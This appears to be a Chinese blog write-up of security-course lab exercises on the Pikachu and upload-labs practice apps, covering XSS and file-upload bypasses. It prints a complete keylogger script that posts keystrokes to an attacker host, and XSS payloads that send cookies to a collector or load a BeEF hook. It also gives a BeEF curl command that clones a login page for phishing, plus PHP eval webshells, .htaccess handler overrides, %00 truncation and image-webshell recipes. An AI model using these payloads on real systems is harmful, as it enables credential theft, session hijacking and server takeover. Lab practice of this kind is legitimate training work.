C7078-2024.3.23

Fantasy 发布于 2024-09-11 238 次阅读


题目

  • 1、XSS
    • (1)使用pikachu平台练习XSS键盘记录、前台XSS盲打攻击获取cookie,利用cookie实现登录
    • (2)使用beef制作钓鱼页面,克隆任意站点的登录页面并获取用户登录的账号密码
  • 2、文件上传
    • (1)客户端绕过练习
    • (2)服务端黑名单绕过:给出.htaccess文件绕过的具体步骤
    • (3)服务端白名单绕过:%00截断绕过,要求虚拟机中搭建实验环境,分别实现GET、POST方法的绕过
    • (4)文件头检查:分别利用3种制作图片马的方式实现上传绕过
    • (5)二次渲染绕过

1 XSS

1.1

1.1.1 XSS键盘记录

查看Pikachu自带XSS键盘记录利用脚本 /var/www/html/pkxss/rkeypress/rk.js

/**
 * Created by runner on 2018/7/8.
 */
function createAjax(){
    var request=false;
    if(window.XMLHttpRequest){
        request=new XMLHttpRequest();
        if(request.overrideMimeType){
            request.overrideMimeType("text/xml");
        }
    }else if(window.ActiveXObject){
        var versions=['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
        for(var i=0; i<versions.length; i++){
            try{
                request=new ActiveXObject(versions[i]);
                if(request){
                    return request;
                }
            }catch(e){
                request=false;
            }
        }
    }
    return request;
}
var ajax=null;   
var xl="datax=";   //声明变量并赋值
function onkeypress() {
    var realkey = String.fromCharCode(event.keyCode);   //使用KEYCODE获取用户输入
    xl+=realkey;  //自加,每变化一次加一次
    show();
}
document.onkeypress = onkeypress;  //记录按键
function show() {    
    ajax = createAjax();
    ajax.onreadystatechange = function () {
        if (ajax.readyState == 4) {
            if (ajax.status == 200) {
                var data = ajax.responseText;
            } else {
                alert("页面请求失败");
            }
        }
    }
    var postdate = xl;   //xl赋值给postdate
    ajax.open("POST", "http://10.0.0.156:8000/pika/pkxss/rkeypress/rkserver.php",true);   //使用php脚本接受键盘记录的结果,测试时需要修改访问地址,攻击机网址
    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", postdate.length);
    ajax.setRequestHeader("Connection", "close");
    ajax.send(postdate);  //发送postdate
}

存储xss模块中输入payload

<script src="https://10.0.0.156:8000/pkxss/rkeypress/rk.js"></script> //地址为攻击机搭建网站地址

留言板页面只要敲击键盘就会被记录,不是必须输入内容之后,xss后台查看键盘记录

1.1.2 XSS盲打

在xss后台页面右击查看页面源代码,发现其中pkxss_cookie_result.php,该脚本文件用于收集和展示cookie

同目录下,cookie.php文件获取cookie

// 使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie
<script>document.write('<img src="https://10.0.0.156:8000/pkxss/xcookie/cookie.php?cookie='+document.cookie+'"/>')</script>
<script>document.write('<img src="https://10.0.0.156:8000/pkxss/xcookie/cookie.php?cookie='+document.cookie+' "/>')</script>

在xss盲打后台看到有图片内容

xss后台中查看cookie搜集模块,发现有对应的信息

在cookie-editor插件中输入获取到的cookie值,然后由...admin_login.php直接访问admin.php

通过cookie直接访问,不需要输入用户名密码。

1.2 BEEF-XSS

使用beef克隆网站作为钓鱼页面,克隆

curl -H "Content-Type:application/json;charest=UTF-8" -d '{"url":"http://10.0.0.156:8000/vul/xss/xsspost/post_login.php","mount":"/clone_site_pikachu_xss"}' -X POST http://10.0.0.157:3000/api/seng/clone_page?token=9841cdf7229cd68f2c0591765efe9ecce5babe5b

目标机访问该网站

beef后台能看到目标机提交的信息

使用beef攻击pikachu中的xss盲打获取cookie
在盲打模块上传hook脚本,让用户触发xss

<script src="https://10.0.0.157:3000/hook.js"></script>



管理员登录后台后beef收到信息,在Brower模块下找到Get cookie,右下角点击execute进行攻击,获取cookie


查看网站的cookie,与beef获取的cookie对比发现一致

2 文件上传

2.1 客户端绕过

2.1.1 禁用js

浏览器禁用js,F12然后F1

phpinfo

<?php phpinfo();?>

禁用js之后可以直接上传php文件
php一句话木马

<?php eval(@$_GET['a']);?>

<?php eval(@$_POST['a']);?>


蚁剑通过连接一句话木马

通过蚁剑查看系统中的文件通过蚁剑对目标进行终端操作

2.1.2 bp修改后缀名

上传jpg文件

bp中修改后缀名

2.1.3 修改前端代码

删除form标签的onsubmit事件即可上传成功

ps:该方法在firefox中可用,edge和chrome中不生效

2.2 .htaccess文件绕过

upload-labs(pass-04)源码中缺少对.htaccess文件校验
上传一个.htaccess文件,重写文件解析规则绕过,设置当前目录所有文件都是使用php解析,那么无论上传什么文件,都被作为php执行
准备两个文件.htaccess和一句话木马.jpg文件

//.htaccess文件,指定upload.jpg文件作为php解析
<FilesMatch "upload.jpg"> 
Sethandler application/x-httpd-php
</FilesMatch>
//.htaccess文件,所有文件作为php解析
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
//upload.jpg
<?php @eval($_POST["a"]); ?>

2.3 00截断绕过

upload-labs(pass-12)
截断条件:
1. php版本小于5.3.4
2. php.ini的magic_quotes_gpc为OFF状态

GET方法

%00的使用只能在路径上
upload-labs(pass-13)POST方法%00在请求体中不会被解码,需要手动进行解码

选择%00右击convert selection-->URL-->URL decode进行url解码


2.4 文件头检查

010editor可以看到文件的真实内容(文件的真实内容不会因为后缀名的改变而改变)
文件头+文件内容+文件尾

.jpg  FF D8 FF E0 00 10 4A 46 49 46 
.gif  47 49 46 38 39 61
.png  89 50 4E 47

制作图片马:
1. windows系统文件拼接:copy /b 1.png+2.php.png
2. 在真实图片中添加一句话木马(直接在文件尾写一句话木马)
3. 在真实脚本的头部添加图片的文件头(严格来说不是图片马)
4. 使用photoshop修改文件标题alt +shift+ctrl +i

图片马需要配合文件包含漏洞关系使用

新的图片马可以正常查看


upload-labs(pass-14)
读前2字节进行16进制字段比对,




存在文件包含漏洞
访问url:port/include.php?file=xxxx,访问显示乱码,蚁剑测试可以连接成功

2.5 二次渲染绕过

upload-labs(pass-17)
先是判断后缀名和文件类型,然后再用imagecreatefrom[gif|png|jpg] 函数判断是否是图片格式,如果是图片的话再用 image[gif|png|jpg]函数对其进行二次渲染。我们可以上传一个正常的图片文件,观察其上传前和上传后图片的二进制流是否发生变化。

利用010editor文件对比功能,将上传前后的正常文件进行对比
GIF
渲染前后的两张GIF,没有发生变化的数据块部分可以直接插入webshell
PNG
需要将数据写入到PLTE数据块或IDAT数据块
JPG
需要使用脚本将数据插入到特定的数据块,可能会不成功,需要多次尝试

优先选择在gif中插入webshell,在将上传前和上传后的gif通过工具进行对比

对比前后对未修改的片段添加一句话木马即可对二次渲染进行绕过

将插入的文件上传后正常显示正常,打开图片后看到php语句渲染后页面


phpinfo后面为图片正常代码

此作者没有提供个人介绍
最后更新于 2024-09-11